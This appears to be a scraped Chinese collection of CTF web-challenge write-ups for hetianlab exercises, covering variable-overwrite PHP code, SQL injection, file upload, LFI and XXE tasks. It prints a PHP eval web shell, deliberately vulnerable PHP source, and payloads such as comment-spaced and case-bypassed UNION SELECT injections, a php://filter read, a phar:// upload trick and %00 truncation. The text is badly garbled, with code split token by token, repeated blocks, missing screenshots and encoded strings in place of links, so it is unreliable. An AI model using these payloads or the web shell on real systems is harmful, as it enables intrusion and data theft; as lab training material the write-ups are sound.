查看源代码

题目描述
源代码


flag{asdhetianlab}
<script language
=
"pHp"
>@
eval
($_POST[
'UzJu'
])<
/
script>
<script language
=
"pHp"
>@
eval
($_POST[
'UzJu'
])<
/
script>
<?php
include
"flag.php"
;
$_403
=
"Access Denied"
;
$_200
=
"Welcome Admin"
;
if
($_SERVER[
"REQUEST_METHOD"
] !
=
"POST"
){
/
/
需要POST方法
die(
"hetianlab flag is here :biubiubiu"
);
}
if
(!isset($_POST[
"flag"
])){
/
/
需要POST参数
=
flag
die($_403);
}foreach ($_GET as $key
=
> $value){
/
/
遍历GET方法所传值
$$key
=
$$value;
}foreach ($_POST as $key
=
> $value){
/
/
遍历POST方法所传值
$$key
=
$value;
}
if
($_POST[
"flag"
] !
=
=
$flag){
die($_403);
}
echo
"This is your flag : "
. $flag .
"\n"
;
die($_200);
?>
<?php
include
"flag.php"
;
$_403
=
"Access Denied"
;
$_200
=
"Welcome Admin"
;
if
($_SERVER[
"REQUEST_METHOD"
] !
=
"POST"
){
/
/
需要POST方法
die(
"hetianlab flag is here :biubiubiu"
);
}
if
(!isset($_POST[
"flag"
])){
/
/
需要POST参数
=
flag
die($_403);
}foreach ($_GET as $key
=
> $value){
/
/
遍历GET方法所传值
$$key
=
$$value;
}foreach ($_POST as $key
=
> $value){
/
/
遍历POST方法所传值
$$key
=
$value;
}
if
($_POST[
"flag"
] !
=
=
$flag){
die($_403);
}
echo
"This is your flag : "
. $flag .
"\n"
;
die($_200);
?>
<html>
<head>
<meta http
-
equiv
=
"Content-Type"
content
=
"text/html; charset=utf-8"
/
>
<title>学会变量覆盖<
/
title>
<
/
head>
<body>
<!
-
-
$flag
=
'xxxx'
:
extract($_GET):
if
(isset($gift))
Scontent
=
@trim(file_get_contents($flag)):
if
(Sgift
=
$content)
echo"flag
else
echo
' oh . . '
;
-
-
>
<
/
body>
<
/
html>
<html>
<head>
<meta http
-
equiv
=
"Content-Type"
content
=
"text/html; charset=utf-8"
/
>
<title>学会变量覆盖<
/
title>
<
/
head>
<body>
<!
-
-
$flag
=
'xxxx'
:
extract($_GET):
if
(isset($gift))
Scontent
=
@trim(file_get_contents($flag)):
if
(Sgift
=
$content)
echo"flag
else
echo
' oh . . '
;
-
-
>
<
/
body>
<
/
html>
<?php
highlight_file(
'source.txt'
);
echo
"<br><br>"
;
$flag
=
'xxxxxxxx'
;
$msg_giveme
=
'Give me the flag!'
;
$msg_getout
=
'No this. Get out!'
;
if
(!isset($_GET[
'flag'
]) && !isset($_POST[
'flag'
])){
exit($msg_giveme);
}
if
($_POST[
'flag'
]
=
=
=
'flag'
|| $_GET[
'flag'
]
=
=
=
'flag'
){
exit($msg_getout);
}
foreach ($_POST as $key
=
> $value) {
$$key
=
$value;
}
foreach ($_GET as $key
=
> $value) {
$$key
=
$$value;
}
echo
'the flag is : '
. $flag;
?>
<?php
highlight_file(
'source.txt'
);
echo
"<br><br>"
;
$flag
=
'xxxxxxxx'
;
$msg_giveme
=
'Give me the flag!'
;
$msg_getout
=
'No this. Get out!'
;
if
(!isset($_GET[
'flag'
]) && !isset($_POST[
'flag'
])){
exit($msg_giveme);
}
if
($_POST[
'flag'
]
=
=
=
'flag'
|| $_GET[
'flag'
]
=
=
=
'flag'
){
exit($msg_getout);
}
foreach ($_POST as $key
=
> $value) {
$$key
=
$value;
}
foreach ($_GET as $key
=
> $value) {
$$key
=
$$value;
}
echo
'the flag is : '
. $flag;
?>
<?php
header(
"Content-Type: text/html;charset=utf-8"
);
error_reporting(
0
);
if
(empty($_GET[
'id'
]))
{
show_source(__FILE__);
die();
}
else
{
include (
'flag.php'
);
$a
=
"77eK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6h3S2W2N6r3W2S2L8X3I4S2j5W2)9J5k6h3y4G2L8b7`.`. "
;
$
id
=
$_GET[
'id'
];
@parse_str
($
id
);
if
($a[
0
] !
=
'QNKCDZO'
&& md5($a[
0
])
=
=
md5(
'QNKCDZO'
))
{
echo $flag;
}
else
{
exit(
'其实很简单其实并不难!'
);
}
}
?>
<?php
header(
"Content-Type: text/html;charset=utf-8"
);
error_reporting(
0
);
if
(empty($_GET[
'id'
]))
{
show_source(__FILE__);
die();
}
else
{
include (
'flag.php'
);
$a
=
"77eK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6h3S2W2N6r3W2S2L8X3I4S2j5W2)9J5k6h3y4G2L8b7`.`. "
;
$
id
=
$_GET[
'id'
];
@parse_str
($
id
);
if
($a[
0
] !
=
'QNKCDZO'
&& md5($a[
0
])
=
=
md5(
'QNKCDZO'
))
{
echo $flag;
}
else
{
exit(
'其实很简单其实并不难!'
);
}
}
?>
1 | <script language = "pHp" >@ eval ($_POST[ 'UzJu' ])< / script>
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 | <?php
include "flag.php" ;
$_403 = "Access Denied" ;
$_200 = "Welcome Admin" ;
if ($_SERVER[ "REQUEST_METHOD" ] ! = "POST" ){
/ / 需要POST方法
die( "hetianlab flag is here :biubiubiu" );
} if (!isset($_POST[ "flag" ])){
/ / 需要POST参数 = flag
die($_403);
}foreach ($_GET as $key = > $value){
/ / 遍历GET方法所传值
$$key = $$value;
}foreach ($_POST as $key = > $value){
/ / 遍历POST方法所传值
$$key = $value;
} if ($_POST[ "flag" ] ! = = $flag){
die($_403);
}
echo "This is your flag : " . $flag . "\n" ;
die($_200);
?>
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 | <html>
<head>
<meta http - equiv = "Content-Type" content = "text/html; charset=utf-8" / >
<title>学会变量覆盖< / title>
< / head>
<body>
<! - -
$flag = 'xxxx' :
extract($_GET):
if (isset($gift))
Scontent = @trim(file_get_contents($flag)):
if (Sgift = $content)
echo"flag
else
echo ' oh . . ' ;
- - >
< / body>
< / html>
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 | <?php
highlight_file( 'source.txt' );
echo "<br><br>" ;
$flag = 'xxxxxxxx' ;
$msg_giveme = 'Give me the flag!' ;
$msg_getout = 'No this. Get out!' ;
if (!isset($_GET[ 'flag' ]) && !isset($_POST[ 'flag' ])){
exit($msg_giveme);
}
if ($_POST[ 'flag' ] = = = 'flag' || $_GET[ 'flag' ] = = = 'flag' ){
exit($msg_getout);
}
foreach ($_POST as $key = > $value) {
$$key = $value;
}
foreach ($_GET as $key = > $value) {
$$key = $$value;
}
echo 'the flag is : ' . $flag;
?>
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 | <?php
header( "Content-Type: text/html;charset=utf-8" );
error_reporting( 0 );
if (empty($_GET[ 'id' ]))
{
show_source(__FILE__);
die();
}
else
{
include ( 'flag.php' );
$a = "77eK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6h3S2W2N6r3W2S2L8X3I4S2j5W2)9J5k6h3y4G2L8b7`.`. " ;
$ id = $_GET[ 'id' ];
@parse_str ($ id );
if ($a[ 0 ] ! = 'QNKCDZO' && md5($a[ 0 ]) = = md5( 'QNKCDZO' ))
{
echo $flag;
}
else
{
exit( '其实很简单其实并不难!' );
}
}
?>
|
- 我的博客:blog.CatGames.cn
- 我的邮箱:root@r0insecurity.com
- 漏洞地址:10.1.1.147:5001

- Burp抓包





- 对应题目,神奇的磁带(tape)












flag是:Flag{ctf_victory_SecBug}
- 题目描述


- 查看源码

- 没什么东西 看看当前页面COOKIE

- 打开burp抓包

- 没什么东西,然后看了一下标题

- 打开终端扫一下目录


- 都指向console目录

- 根据经验发现XFF没跑了 burp抓包改包


拿到flag: flag{hetianlab-weekctf}
- 题目描述

- 访问网站

- 查看源代码

- 查找一番无果后根据标题猜测跟HTTP的Accept-language有关


- 8个国家,分别为美国 英国 法国 德国 日本 韩国 西班牙 瑞典 百度搜了一下

- 美国:en-US

- 英国:en-gb

- 法国:fr-fr

- 德国:de-de

- 日本:ja-jp/jp

- 韩国:kr/kor 实测kr并不会返回信息


- 西班牙:es-es

- 瑞典:sv

拼接flag为:flag{Thisis_hetianlab@}
- 题目描述

- 访问网站

- 尝试一下admin admin 无果后查看源代码


- 审计题 定义俩变量

- 检查post user name 和password

- 等于

- 检查cookie是不是 check

- url解密后的username变量全部等于(===你懂的)和url解密后的password不等于admin 意思是账号admin密码不等于admin即可


- 然后setcookie等于ahash然后用base64加密secret变量然后urldecode admin admin,time()为时间7天

- 流程就是抓包把cookie改成check然后加密后的secret和明文的admin与任意密码
- 抓包看到一个base64加密的cookie

- 解密后

- 这个88应该就是secret这个变量 那么把它加密

- 然后把包丢进repeater

- 名字改为check等于加密后的88
- 后面跟上admin与任意密码即可 注意:check那里的密码必须与下面提交的数据password一样 不然会提示重新检查cookie

flag{welcome_to_htlab}
- 题目描述

- 访问网站

- 检查提交的源代码

- 新建文件

- 写入phpinfo






- 点击发送


Flag: flag{hetian@lab_com}
- 题目描述

- 访问网站

- 看一下提交按钮的javascript



- 丢到repeater

- 就只剩下第三层了

- LBWNB 17这个数字 猜测是提交的数据

行
flag{0000_0000_0000}
- 题目描述

- 访问网站

- 查看源码

- 源代码没有东西 直接整抓包上传8


- Uploads/后面加上UzJu.php%00 然后点击send发现还是不行

- 后来想了一下好像要改hex


flag{asdf_hetianlab_com}
- 题目描述

- 访问网站

- ../phpinfo.php


- 拉到最底下查看flag
Flag: flag{abcd_hetianlab_1234_qwer}
- 题目描述

- 访问网站




- 彳亍 解密后

Flag: flag{abdc_1234_qwer_hetian}
- Payload: php://filter/convert.base64encode/resource=flag.php
- 题目描述

- 访问网站

- 新建文件

- 打包成zip 然后将zip文件后缀名改为jpg

- 上传文件


- 在c盘下有菜刀工具 连接地址:7a3K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0p5H3i4K6u0W2x3g2)9J5k6e0q4Q4x3X3f1I4y4o6N6Q4x3@1p5#2x3o6p5I4i4K6u0r3K9h3&6U0L8s2g2V1k6g2)9J5k6i4m8Z5M7q4)9K6c8R3`.`.
file=phar://upload/test.jpg/1

flag{whoami_hetianlab_student}
- 题目描述

- 访问网站 查看源码

- 按照题目提示找到注释说明flag在opt目录下





Flag(hetianlab_ctf)
- 题目描述



- 启动apache 进入html目录 创建dtd文件

- 修改POST数据

- 抓包后监听即可

flag{hetian_1234_awdr}
- 题目描述

- 访问网站 直接使用file协议

- 查看flag

flag{enter_your_passwd}
- 题目描述

- 抓包

- 需要POST参数admin

- 加上XFF

- 试试xcip


flag{0123_hetianlab_hunan}
- 题目描述

- 访问网站

- 源代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 | <?php
include "flag.php" ;
$_403 = "Access Denied" ;
$_200 = "Welcome Admin" ;
if ($_SERVER[ "REQUEST_METHOD" ] ! = "POST" ){
/ / 需要POST方法
die( "hetianlab flag is here :biubiubiu" );
} if (!isset($_POST[ "flag" ])){
/ / 需要POST参数 = flag
die($_403);
}foreach ($_GET as $key = > $value){
/ / 遍历GET方法所传值
$$key = $$value;
}foreach ($_POST as $key = > $value){
/ / 遍历POST方法所传值
$$key = $value;
} if ($_POST[ "flag" ] ! = = $flag){
die($_403);
}
echo "This is your flag : " . $flag . "\n" ;
die($_200);
?>
|

- 变量覆盖题
flag{hunan_hetian}
- 题目描述

查看源代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 | <html>
<head>
<meta http - equiv = "Content-Type" content = "text/html; charset=utf-8" / >
<title>学会变量覆盖< / title>
< / head>
<body>
<! - -
$flag = 'xxxx' :
extract($_GET):
if (isset($gift))
Scontent = @trim(file_get_contents($flag)):
if (Sgift = $content)
echo"flag
else
echo ' oh . . ' ;
- - >
< / body>
< / html>
|

- 判断gift变量是否存在,否则执行判断
File_get_contents读取flag传给content
判断gift 是否等于content,如果等于content就输出flag

- 构造gift=&flag= 两个值都为空,判断相等
flag{hetianlab}
题目描述
源代码
- 题目描述

- Parse_str导致的变量覆盖
- Payload: cccK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0p5H3i4K6u0W2x3g2)9J5k6e0q4Q4x3X3f1I4y4o6N6Q4x3@1p5#2x3o6t1H3i4K6u0r3i4K6y4r3K9h3c8Q4x3@1c8S2i4K6g2n7x3q4)9#2c8q4)9K6c8s2x3^5y4K6R3&6x3U0j5I4z5e0W2S2
- Php参考:
2d5K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6%4N6%4N6Q4x3X3g2U0L8X3u0D9L8$3N6K6i4K6u0W2j5$3!0E0i4K6u0r3P5r3S2V1M7#2)9J5c8Y4m8Q4x3V1j5I4x3U0f1^5y4K6t1@1z5g2)9J5k6h3S2@1L8h3I4Q4x3U0y4Q4y4h3k6D9j5h3u0W2L8o6t1`.
114K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6%4N6%4N6Q4x3X3g2U0L8X3u0D9L8$3N6K6i4K6u0W2j5$3!0E0i4K6u0r3P5r3S2V1M7#2)9J5c8Y4m8Q4x3V1j5I4x3U0x3@1z5e0p5^5z5g2)9J5k6h3S2@1L8h3H3`.
- 题目描述

- 访问网站

- 简单的查询代码 输入1

- 输入2



- 提示hacker! 可能过滤的’ 或者 and等


- 没有提示hacker 说明没有过滤单引号 根据标题发现可能过滤了空格


- 尝试and后也没有过滤and
- 首先1’order//by//5#

- 发现没有信息 再尝试1’order//by//3#

- 然后使用-1’union//select//1,2,3#


- 然后看到我才会告诉你可以用select flag from flag看到Flag尝试
- payload:-1'union//select//1,2,flag//from//flag#

Flag: flag{63564494cac7097c}
- 题目描述


- 打开发现跟21周的没什么区别 只是新增了select过滤

- 直接大小写绕过即可


- Payload:-1'union//SeLeCt//1,2,flag//from//flag#
Flag:flag{ff98f887ddaaad88}
Web-CTF-WriteUp 一、前言 二、WriteUp ①、编码 1、神奇的磁带-WriteUp ②、HTTP基础 2、 就差一把钥匙 3、 迷了路 ③、基础代码审计
[培训]科锐逆向工程师培训第53期2025年7月8日开班!